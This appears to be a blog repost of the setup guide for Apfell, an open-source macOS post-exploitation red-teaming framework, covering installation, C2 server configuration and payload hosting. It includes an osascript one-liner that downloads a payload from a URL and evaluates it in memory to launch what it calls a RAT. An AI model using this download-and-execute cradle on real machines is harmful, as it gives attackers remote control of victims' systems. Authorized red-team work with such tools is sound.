Apfell - A macOS, Post-Exploit, Red Teaming Framework

A macOS, post-exploit, red teaming framework built with python3 and JavaScript. It's designed to provide a collaborative and user friendly interface for operators, managers, and reporting throughout mac and linux based red teaming.

Check out thre blog post on the initial release of the framework and what the bare bones content can do.

  • Get the code from this github:
git clone https://github.com/its-a-feature/Apfell
  • Install and setup the requirements (Note: The Sanic webserver says it only works on Linux):
# The setup.sh will install postgres and pip3 install the requirements
cd Apfell && chmod +x setup.sh && sudo ./setup.sh && cd ..
  • Configure the installation in app/__init__.py:
# -------- CONFIGURE SETTINGS HERE -----------
db_name = 'apfell_db'
db_user = 'apfell_user'
db_pass = 'super_secret_apfell_user_password'
server_ip = ''  # this will be used by the browser to callback here, edit this!
listen_port = '443'
listen_ip = ''  # IP to bind to for the server, means all local IPv4 addresses
ssl_cert_path = './app/ssl/apfell-cert.pem'
ssl_key_path = './app/ssl/apfell-ssl.key'
use_ssl = True
  • There is currently an issue with Sanic and websockets 6/7 (tracked issue, but no pull request yet) You need to edit Sanic with a slight update (I'm going to make a pull request for Sanic so we don't need to do this, but that'll take a little while). In the meantime, do sudo find / -type f -name "app.py" to find the appropriate Sanic file to edit. In here, find the line that says protocol = request.transport._protocol and edit it to be:
if hasattr(request.transport, '_app_protocol') 
    protocol = request.transport._app_protocol
    protocol = request.transport._protocol

  • Start the server:
python3 server.py 
[2018-07-16 14:39:14 -0700] [28381] [INFO] Goin' Fast @
By default, the server will bind to on port 443. This is an alias meaning that it will be listening on all IPv4 addresses on the machine. You don't actually browse to in your browser. Instead, you'll browse to either https://localhost:443 if you're on the same machine that's running the server, or you can browse to any of the IPv4 addresses on the machine that's running the server. You could also browse to the IP address you specified in server_ip = '' in the installation section.
  • Browse to the server with any modern web browser
  • Create a new user:

  • Create a new payload:
  • Use the attacks_api to host the new file (this will eventually get updated with a GUI):
# assuming we created a payload in our local '/tmp' directory
curl -X POST'{"port":8080, "directory":"/tmp"}'
This will start a python simple web server in the /tmp directory on port 8080.
  • Pull down and execute payload in memory:
osascript -l JavaScript -e "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('HTTP://')),$.NSUTF8StringEncoding)));" 
  • Interact with the new RAT:

Apfell - A macOS, Post-Exploit, Red Teaming Framework Apfell - A macOS, Post-Exploit, Red Teaming Framework Reviewed by Lydecker Black on 6:23 PM Rating: 5